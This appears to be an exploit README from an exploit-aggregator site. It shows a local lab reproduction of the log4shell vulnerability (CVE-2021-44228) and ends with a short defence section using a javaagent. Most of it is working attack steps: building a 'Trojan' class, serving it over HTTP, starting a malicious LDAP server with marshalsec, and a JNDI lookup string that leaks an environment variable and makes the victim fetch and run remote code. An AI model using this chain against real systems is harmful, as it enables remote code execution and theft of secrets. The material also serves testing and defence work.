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## https://sploitus.com/exploit?id=4F11FB83-F6EC-5ED2-B08D-9D86D6104DC7
# Test exploit of CVE-2021-44228 (log4shell)

### Preparation

```shell
# Install Nodejs HTTP server 
npm -g i http-server

# Build victim app
cd victim-app
mvn install

# Compile Trojan
cd test-trojan
javac Trojan.java

# Build marshalsec (required Java 8)
git clone git@github.com:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Build log4j-jndi-be-gone
git clone git@github.com:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew
```

### Start the HTTP server hosting a Trojan payload

```shell
cd test-trojan
http-server .
```

### Start a malicious LDAP server
See https://github.com/mbechler/marshalsec
```shell
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"
```

### Watch for exploit events (optional)
useful in cases when stderr is hidden
```shell
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'
```

### Exploit

##### Explanation
The victim application logs the following string via a vulnerable `log4j2` library (version 2.14.1)
```java
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");
```
executing two vectors of attacks simultaneously:
1. Sniffing environment variables (`$USER` in this example), that can be viewed in the _marshalsec_ LDAP server output
```
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
```
2. Download and execute malicious code that logs the message `!!! BUSTED !!!` to the victim's app standard error stream,
as well as creates an empty `/tmp/log4shell-BUSTED-*` file.\
For this attack to work the following JVM option must be enabled on the victim server:
```properties
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
```

##### Execution

```shell
cd victim-app

# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/
```

### Defence

See: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support
```shell
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar
```

### System-wide defence
Replace all `java` binaries with the script below:

`java.guarded`
```shell
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"
```

Example:

```shell
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
```